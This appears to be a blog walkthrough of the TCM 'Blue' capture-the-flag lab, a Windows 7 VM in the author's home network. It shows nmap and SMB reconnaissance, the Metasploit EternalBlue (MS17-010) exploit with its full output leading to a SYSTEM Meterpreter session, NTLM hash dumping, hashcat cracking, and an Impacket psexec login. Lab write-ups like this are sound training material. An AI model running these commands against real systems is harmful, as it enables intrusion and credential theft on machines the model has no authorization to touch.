TCM — Blue Walkthrough

5 min readOct 9, 2023

   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.100.1   00:0c:29:49:c8:e6      1      60  VMware, Inc.                                                                                                                                                                            
 192.168.100.75  00:0c:29:ad:e7:a0      1      60  VMware, Inc.                                                                                                                                                                            
 192.168.100.102 00:0c:29:bc:a0:66      1      60  VMware, Inc.

Start with a netdiscover -r 192.168.100.0/24 to find other endpoints on the same network. Here we see a couple other devices. The 192.168.100.75 is another VM in my lab environment, the 192.168.100.1 is the default gateway, leaving us with a single unknown to scan with NMAP.

nmap -A 192.168.100.102        
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 23:18 EDT
Stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
Nmap scan report for 192.168.100.102
Host is up (0.00025s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp   open ?         Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc       Microsoft Windows RPC
49153/tcp open  msrpc       Microsoft Windows RPC
49154/tcp open  msrpc       Microsoft Windows RPC
49155/tcp open  msrpc       Microsoft Windows RPC
49156/tcp open  msrpc       Microsoft Windows RPC
49158/tcp open  msrpc       Microsoft Windows RPC
MAC Address: 00:0C:29:BC:A0:66 (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: WIN-845Q99OO4PP; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
|_clock-skew: mean: 5h16m02s, deviation: 2h18m33s, median: 3h56m02s
| smb-os-discovery: 
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-845Q99OO4PP
|   NetBIOS computer name: WIN-845Q99OO4PP\x00
|   Workgroup: WORKGROUP\x00                                                                                                                                                                                                                
|_  System time: 2023-10-09T03:15:38-04:00                                                                                                                                                                                                  
|_nbstat: NetBIOS name: WIN-845Q99OO4PP, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:bc:a0:66 (VMware)
| smb2-time: 
|   date: 2023-10-09T07:15:38
|_  start_date: 2023-10-09T07:08:16
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

A basic NMAP scan reveals a few key findings:

Windows 7 Ultimate 7601 Service Pack 1.
SMB signing is not required.
The target is part of a standard workgroup, not domain joined.
A few interesting ports: 135, 139, 445.

Given the limited ports available we will begin enumerating SMB (445):

smbclient -L \\\\192.168.100.102\\                                                                                       
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC

Smbclient finds common shares, lets see if we have access:

smbclient \\\\192.168.100.102\\C$    
Password for [WORKGROUP\root]:
tree connect failed: NT_STATUS_ACCESS_DENIED

Access is denied on all shares except for IPC$, which allows us to connect but does not provide write privileges. Nothing interesting was found. With the small number of ports available lets enumerate the OS and build version in Google by searching “Windows 7 Ultimate 7601 Service Pack 1 exploits”. The first result we come across is from Rapid 7. At the bottom of the webpage there is also a usage section that tells us how to use the exploit.

Get JBXSec’s stories in your inbox
Join Medium for free to get updates from this writer.
Remember me for faster sign in
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show targets
    ...targets...
msf exploit(ms17_010_eternalblue) > set TARGET < target-id >
msf exploit(ms17_010_eternalblue) > show options
    ...show and set options...
msf exploit(ms17_010_eternalblue) > exploit

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.100.254:4444 
[*] 192.168.100.102:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.100.102:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.100.102:445   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.100.102:445 - The target is vulnerable.
[*] 192.168.100.102:445 - Connecting to target for exploitation.
[+] 192.168.100.102:445 - Connection established for exploitation.
[+] 192.168.100.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.100.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.100.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.100.102:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.100.102:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.100.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.100.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.100.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.100.102:445 - Starting non-paged pool grooming
[+] 192.168.100.102:445 - Sending SMBv2 buffers
[+] 192.168.100.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.100.102:445 - Sending final SMBv2 buffers.
[*] 192.168.100.102:445 - Sending last fragment of exploit packet!
[*] 192.168.100.102:445 - Receiving response from exploit packet
[+] 192.168.100.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.100.102:445 - Sending egg to corrupted connection.
[*] 192.168.100.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.100.102
[*] Meterpreter session 1 opened (192.168.100.254:4444 -> 192.168.100.102:49159) at 2023-10-08 23:45:49 -0400
[+] 192.168.100.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.100.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.100.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-845Q99OO4PP
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter >

After running the exploit from Metasploit we get system access without having to escalate privileges. We now have full access to the system and can dump hashes:

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58f5081696f366cdc72491a2c4996bd5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:f580a1940b1f6759fbdd9f5c482ccdbb:::
user:1000:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

The administrator password for this machine is not in the rockyou.txt wordlist. Lets manually add it and crack the password for PoC.

echo 'Password456!' >> /usr/share/rockyou.txt

After adding the password to rockyou.txt use Hashcat to crack it:

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

Results:

58f5081696f366cdc72491a2c4996bd5:Password456!             
                                                          
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1000 (NTLM)
Hash.Target......: hashes.txt
Time.Started.....: Sun Oct  8 23:53:45 2023 (8 secs)
Time.Estimated...: Sun Oct  8 23:53:53 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1782.2 kH/s (0.23ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 2/4 (50.00%) Digests (total), 1/4 (25.00%) Digests (new)
Progress.........: 14344387/14344387 (100.00%)
Rejected.........: 0/14344387 (0.00%)
Restore.Point....: 14344387/14344387 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....:  kristenanne -> Password456!
Hardware.Mon.#1..: Util: 43%

Started: Sun Oct  8 23:53:42 2023
Stopped: Sun Oct  8 23:53:54 2023

Now that we know the password, lets try to gain access using a different approach that doesn’t require the use of an exploit. We can do this by using psexec.py from the Impackets toolkit and executing cmd.exe

psexec.py Administrator:'Password456!@192.168.100.102' cmd.exe
       
/usr/local/bin/psexec.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.9.24.dev1+20210704.162046.29ad5792', 'psexec.py')
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 192.168.100.102.....
[*] Found writable share ADMIN$
[*] Uploading file XqVTjomk.exe
[*] Opening SVCManager on 192.168.100.102.....
[*] Creating service MTNn on 192.168.100.102.....
[*] Starting service MTNn.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
WIN-845Q99OO4PP

Hope this was helpful!

TCM — Blue Walkthrough

Get JBXSec’s stories in your inbox

Written by JBXSec

More from JBXSec

Building a Cybersecurity Home Lab — Part 5: Atomic Red Team Setup, Configuration, and Demo

Run real MITRE ATT&CK techniques in your home lab with Atomic Red Team for true adversary testing.

Building a Cybersecurity Home Lab — Part 4.1: Splunk Installation & Configuration

Set up Splunk in a home lab: install, configure forwarders, ingest logs, and monitor endpoints.

Building a Cybersecurity Home Lab — Part 5.1: Disabling AV via GPO

Part 5.1: disabling microsoft defender in a windows domain lab via gpo and registry

Building a Cybersecurity Home Lab — Part 1: Planning Your Infrastructure

Why Invest in a Home Lab?

Recommended from Medium

Footprinting

Host Based Enumeration

CyberDefenders — AWSRaid Lab Writeup

Overview

Touch Machine (HackTheBox)

Introduction

Proving grounds: Interface

This lab is rated Easy on OffSec’s Proving Grounds, though the community rates it as Very Hard. It demonstrates how a combination of OWASP…

How to Integrate Suricata with Wazuh and Detect ICMP Attacks (Step‑by‑Step)

Previous post → Wazuh installation, apache log collect and File integrity Monitoring.

THM Brute It

Hello everyone!